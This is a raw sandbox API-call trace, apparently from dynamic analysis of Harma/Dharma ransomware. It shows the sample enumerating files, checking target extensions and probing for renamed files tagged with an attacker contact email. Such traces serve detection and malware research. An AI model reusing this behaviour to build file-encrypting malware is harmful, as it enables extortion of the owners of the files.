[0174.594] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.594] Wow64DisableWow64FsRedirection (in: OldValue=0x251ff84 | out: OldValue=0x251ff84*=0x0) returned 1 [0174.594] lstrlenW (lpString="kernel32.dll") returned 12 [0174.594] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x503360 | out: hHeap=0x4b0000) returned 1 [0174.594] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.594] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x503388 | out: hHeap=0x4b0000) returned 1 [0174.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4eb528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0174.594] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0174.735] GetTickCount () returned 0x113b4bf [0174.735] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0175.019] GetTickCount () returned 0x113b5e8 [0175.019] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0175.423] GetTickCount () returned 0x113b76e [0175.423] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0175.601] GetTickCount () returned 0x113b829 [0175.601] GetTickCount () returned 0x113b829 [0175.601] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0175.741] GetTickCount () returned 0x113b8b5 [0175.741] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0175.893] GetTickCount () returned 0x113b951 [0175.893] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0176.154] GetTickCount () returned 0x113ba4b [0176.154] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0176.408] GetTickCount () returned 0x113bb54 [0176.408] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0176.626] GetTickCount () returned 0x113bc1f [0176.626] GetTickCount () returned 0x113bc1f [0176.626] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0176.893] GetTickCount () returned 0x113bd28 [0176.893] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0177.284] GetTickCount () returned 0x113beae [0177.284] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) Thread: id = 78 os_tid = 0x6a4 [0174.675] GetTickCount () returned 0x113b481 [0174.675] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x34a06b8 [0174.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x34a06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c [0174.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x34a06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0174.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x34a06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0174.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x34a06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8 [0174.680] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500760 [0174.680] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500760, Size=0x20) returned 0x537a08 [0174.680] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500760 [0174.680] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500760, Size=0x20) returned 0x537a80 [0174.680] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.680] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.680] Wow64DisableWow64FsRedirection (in: OldValue=0x261ff84 | out: OldValue=0x261ff84*=0x0) returned 1 [0174.680] lstrlenW (lpString="kernel32.dll") returned 12 [0174.680] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.681] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.681] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x50d538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac [0174.681] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0174.867] GetTickCount () returned 0x113b54c [0174.867] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0175.222] GetTickCount () returned 0x113b6b2 [0175.222] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0175.595] GetTickCount () returned 0x113b819 [0175.595] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0175.696] GetTickCount () returned 0x113b886 [0175.696] GetTickCount () returned 0x113b886 [0175.696] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0175.848] GetTickCount () returned 0x113b922 [0175.848] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0176.148] GetTickCount () returned 0x113ba4b [0176.149] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0176.408] GetTickCount () returned 0x113bb54 [0176.408] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0176.626] GetTickCount () returned 0x113bc1f [0176.626] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0176.893] GetTickCount () returned 0x113bd28 [0176.893] GetTickCount () returned 0x113bd28 [0176.893] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0177.284] GetTickCount () returned 0x113beae [0177.284] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) Thread: id = 80 os_tid = 0x314 [0174.640] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x53a460 [0174.640] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x54a468 [0174.641] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500730 [0174.641] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5323e8 [0174.641] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500748 [0174.641] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3120020 [0174.641] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500718 [0174.641] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500718, Size=0x20) returned 0x537a08 [0174.641] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500718 [0174.641] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500718, Size=0x20) returned 0x537a80 [0174.641] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.641] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.641] Wow64DisableWow64FsRedirection (in: OldValue=0x2b1ff58 | out: OldValue=0x2b1ff58*=0x0) returned 1 [0174.641] lstrlenW (lpString="kernel32.dll") returned 12 [0174.641] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.641] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.641] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.641] Sleep (dwMilliseconds=0x64) [0174.774] lstrcmpiW (lpString1=".ini", lpString2=".harma") returned 1 [0174.774] lstrlenW (lpString="desktop.ini") returned 11 [0174.774] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0174.774] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=129) returned 1 [0174.774] CloseHandle (hObject=0x1c8) returned 1 [0174.774] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0174.775] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0x26 [0174.778] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.778] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.778] lstrlenW (lpString=".doc") returned 4 [0174.778] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0174.778] lstrlenW (lpString=".docx") returned 5 [0174.778] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0174.778] lstrlenW (lpString=".pdf") returned 4 [0174.778] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0174.778] lstrlenW (lpString=".xls") returned 4 [0174.778] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0174.778] lstrlenW (lpString=".xlsx") returned 5 [0174.778] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0174.778] lstrlenW (lpString=".ppt") returned 4 [0174.778] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0174.778] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.778] lstrlenW (lpString=".zip") returned 4 [0174.778] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0174.778] lstrlenW (lpString=".rar") returned 4 [0174.778] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0174.778] lstrlenW (lpString=".bz2") returned 4 [0174.778] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0174.778] lstrlenW (lpString=".7z") returned 3 [0174.778] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0174.778] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.779] lstrlenW (lpString=".dbf") returned 4 [0174.779] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0174.779] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.779] lstrlenW (lpString=".1cd") returned 4 [0174.779] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0174.779] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.779] lstrlenW (lpString=".jpg") returned 4 [0174.779] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0174.779] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.779] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.779] lstrlenW (lpString=".doc") returned 4 [0174.779] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0174.779] lstrlenW (lpString=".docx") returned 5 [0174.779] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0174.779] lstrlenW (lpString=".pdf") returned 4 [0174.779] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0174.779] lstrlenW (lpString=".xls") returned 4 [0174.779] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0174.779] lstrlenW (lpString=".xlsx") returned 5 [0174.779] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0174.779] lstrlenW (lpString=".ppt") returned 4 [0174.779] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0174.779] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.779] lstrlenW (lpString=".zip") returned 4 [0174.779] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0174.779] lstrlenW (lpString=".rar") returned 4 [0174.779] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0174.779] lstrlenW (lpString=".bz2") returned 4 [0174.779] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0174.779] lstrlenW (lpString=".7z") returned 3 [0174.779] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0174.779] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.780] lstrlenW (lpString=".dbf") returned 4 [0174.780] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0174.780] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.780] lstrlenW (lpString=".1cd") returned 4 [0174.780] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0174.780] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0174.780] lstrlenW (lpString=".jpg") returned 4 [0174.780] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0174.780] Sleep (dwMilliseconds=0x64) [0175.162] Sleep (dwMilliseconds=0x64) [0175.458] Sleep (dwMilliseconds=0x64) [0175.602] Sleep (dwMilliseconds=0x64) [0175.742] Sleep (dwMilliseconds=0x64) [0175.894] Sleep (dwMilliseconds=0x64) [0176.160] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.160] lstrlenW (lpString="BabyBoyMainToNotesBackground.wmv") returned 32 [0176.160] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.316] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=141214) returned 1 [0176.316] CloseHandle (hObject=0x1d4) returned 1 [0176.316] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0176.316] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.316] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.316] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.316] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.316] lstrlenW (lpString=".doc") returned 4 [0176.316] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.316] lstrlenW (lpString=".docx") returned 5 [0176.316] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.316] lstrlenW (lpString=".pdf") returned 4 [0176.316] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.316] lstrlenW (lpString=".xls") returned 4 [0176.316] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.317] lstrlenW (lpString=".xlsx") returned 5 [0176.317] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.317] lstrlenW (lpString=".ppt") returned 4 [0176.317] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.317] lstrlenW (lpString=".zip") returned 4 [0176.317] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.317] lstrlenW (lpString=".rar") returned 4 [0176.317] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString=".bz2") returned 4 [0176.317] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString=".7z") returned 3 [0176.317] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.317] lstrlenW (lpString=".dbf") returned 4 [0176.317] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.317] lstrlenW (lpString=".1cd") returned 4 [0176.317] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.317] lstrlenW (lpString=".jpg") returned 4 [0176.317] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.317] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.317] lstrlenW (lpString=".doc") returned 4 [0176.317] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.317] lstrlenW (lpString=".docx") returned 5 [0176.317] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.318] lstrlenW (lpString=".pdf") returned 4 [0176.318] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.318] lstrlenW (lpString=".xls") returned 4 [0176.318] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.318] lstrlenW (lpString=".xlsx") returned 5 [0176.318] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.318] lstrlenW (lpString=".ppt") returned 4 [0176.318] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.318] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.318] lstrlenW (lpString=".zip") returned 4 [0176.318] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.318] lstrlenW (lpString=".rar") returned 4 [0176.318] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.318] lstrlenW (lpString=".bz2") returned 4 [0176.318] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.318] lstrlenW (lpString=".7z") returned 3 [0176.318] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.318] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.318] lstrlenW (lpString=".dbf") returned 4 [0176.318] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.318] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.318] lstrlenW (lpString=".1cd") returned 4 [0176.318] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.318] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0176.318] lstrlenW (lpString=".jpg") returned 4 [0176.318] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.319] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0176.319] lstrlenW (lpString="Pets_image-frame-border.png") returned 27 [0176.319] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.319] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7946) returned 1 [0176.319] CloseHandle (hObject=0x1d4) returned 1 [0176.319] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0176.320] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.320] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.320] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.320] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.320] lstrlenW (lpString=".doc") returned 4 [0176.320] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.320] lstrlenW (lpString=".docx") returned 5 [0176.320] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0176.320] lstrlenW (lpString=".pdf") returned 4 [0176.320] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.320] lstrlenW (lpString=".xls") returned 4 [0176.320] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.320] lstrlenW (lpString=".xlsx") returned 5 [0176.320] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0176.320] lstrlenW (lpString=".ppt") returned 4 [0176.320] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.320] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.320] lstrlenW (lpString=".zip") returned 4 [0176.320] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.320] lstrlenW (lpString=".rar") returned 4 [0176.320] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.320] lstrlenW (lpString=".bz2") returned 4 [0176.320] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.320] lstrlenW (lpString=".7z") returned 3 [0176.320] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.320] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.320] lstrlenW (lpString=".dbf") returned 4 [0176.321] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.321] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.321] lstrlenW (lpString=".1cd") returned 4 [0176.321] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.321] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.321] lstrlenW (lpString=".jpg") returned 4 [0176.321] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.321] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.321] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.321] lstrlenW (lpString=".doc") returned 4 [0176.321] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.321] lstrlenW (lpString=".docx") returned 5 [0176.321] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0176.321] lstrlenW (lpString=".pdf") returned 4 [0176.321] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.321] lstrlenW (lpString=".xls") returned 4 [0176.321] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.321] lstrlenW (lpString=".xlsx") returned 5 [0176.321] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0176.321] lstrlenW (lpString=".ppt") returned 4 [0176.321] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.321] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.321] lstrlenW (lpString=".zip") returned 4 [0176.321] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.321] lstrlenW (lpString=".rar") returned 4 [0176.321] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.321] lstrlenW (lpString=".bz2") returned 4 [0176.321] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.321] lstrlenW (lpString=".7z") returned 3 [0176.322] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.322] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.322] lstrlenW (lpString=".dbf") returned 4 [0176.322] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.322] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.322] lstrlenW (lpString=".1cd") returned 4 [0176.322] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.322] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0176.322] lstrlenW (lpString=".jpg") returned 4 [0176.322] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.322] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0176.322] lstrlenW (lpString="Pets_image-frame-ImageMask.png") returned 30 [0176.322] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), 